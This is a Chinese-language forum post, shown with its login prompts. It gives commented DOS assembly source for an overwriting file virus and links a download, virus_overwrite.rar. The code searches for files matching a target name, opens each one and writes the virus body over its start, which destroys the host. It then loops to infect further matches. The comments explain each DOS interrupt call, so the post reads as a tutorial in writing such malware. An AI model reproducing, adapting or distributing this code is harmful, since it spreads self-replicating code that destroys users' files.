|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
本帖最后由 cyousui 于 2011-10-11 23:00 编辑
- .model tiny
- .code
- org 100h
- start:
- setdta: ;设置DTA
- lea dx,dta ;将DTA的起始地址赋给dx
- mov ah,1ah ;1ah功能调用,设置DTA地址,调用参数 ds:dx=DTA地址
- int 21h ;DOS中断调用
- findf: ;查找文件
- mov ah,4eh ;4eh功能调用,查找匹配文件,参数 ds:dx=ASCII串地址,cx属性
- lea dx,fname ;将文件名地址赋给dx
- mov cx,7 ;指定查找文件类型,7表示查找所有文件
- nextf: int 21h ;DOS中断调用
- jc notfind ;处理没有找到文件,jc是当CF=1时跳转
- dispfn: ;显示文件
- lea dx,[dta+30] ;打印文件,位置在它偏移30个字节的地方
- push ax ;这里要使用ax,保存之前ax中内用
- mov ah,09h ;09h号功能调用,显示字符串,调用参数 ds:dx=串地址,字符串以'
- 结尾
- int 21h ;DOS中断调用
- pop ax ;还原ax内容
- openf: ;打开文件
- mov ax,3d02h ;3dh功能调用,调用参数 ds:dx=ASCII串地址,al=访问文件共享方式,0=读,1=写,2=读/写
- ;若调用成功,返回参数ax=文件句柄
- ;此处设置DX指向要操作的文件名,因为上面显示文件功能已经
- ;设置了DX的指向,这里就不用再次设置了
- int 21h ;DOS中断调用
- jc notopen ;当CF=1时文件没有打开跳转到notopen
- xchg ax,bx ;将打开文件功能调用的出口参数(文件句柄)
- pointf: ;定义文件读写指针
- mov ax,4200h ;42h功能调用,移动文件指针,调用参数bx=文件代号,cx:dx=位移量,al=移动方式
- xor cx,cx ;将cx清零,代表偏移量的高位
- xor dx,dx ;将dx清零,代表偏移量的低位
- int 21h ;DOS中断调用,偏移量都为零,说明从文件的最开始处覆盖,若成功 dx:ax=新指针位置;失败则 ax=错误码
- jc notpoint ;当CF=1时设置错误就跳转到notpoint
- mov filesize,ax ;将文件的大小赋到内存单元中,ax是42号功能调用的出口参数
- writef: ;写文件
- mov ah,40h ;40h调用,写文件或设备,ds:dx=数据缓冲区地址,bx=文件代号,cx=写入的字节数;若调用成功返回ax=实际实际写入的字节数
- mov cx,filelen ;把要写入文件的长度保存到cx中(病毒自身长度)
- lea dx,start ;将病毒的起始地址存到dx当中
- int 21h ;DOS中断调用
- jc notwrite ;当CF=1写入文件失败跳转到notwrite
- closef: ;关闭文件
- mov ah,3eh ;3eh功能调用,关闭文件,bx=文件句柄
- int 21h ;DOS中断
- jc notclose ;当CF=1时文件关闭失败跳转到notclose
- findnext:;查找下一个文件
- mov ax,4fh ;4fh调用,查找下一匹配文件,调用参数 DAT保留4eh的原始信息
- jmp nextf ;跳回继续查找文件
- notfind:
- notopen:
- notpoint:
- notwrite:
- notclose:
- quit: ;退出程序
- mov ah,4ch ;4ch调用,带返回码终止,参数 al=返回码
- int 21h
-
- dta db 44 dup(0) ;定义一个44字节的缓冲区
- db '
- ;字符串的结束符,9号功能调用要用到
- fname db 'tar.com' ;感染宿主程序名
- filesize dw ? ;宿主程序文件长度
- filelen equ $-start ;当前的偏移量($(已经到了文件的末尾了))-病毒的起始偏移量(start)
- end start
复制代码
virus_overwrite.rar
(1.58 KB, 下载次数: 12)
|
评分
-
查看全部评分
|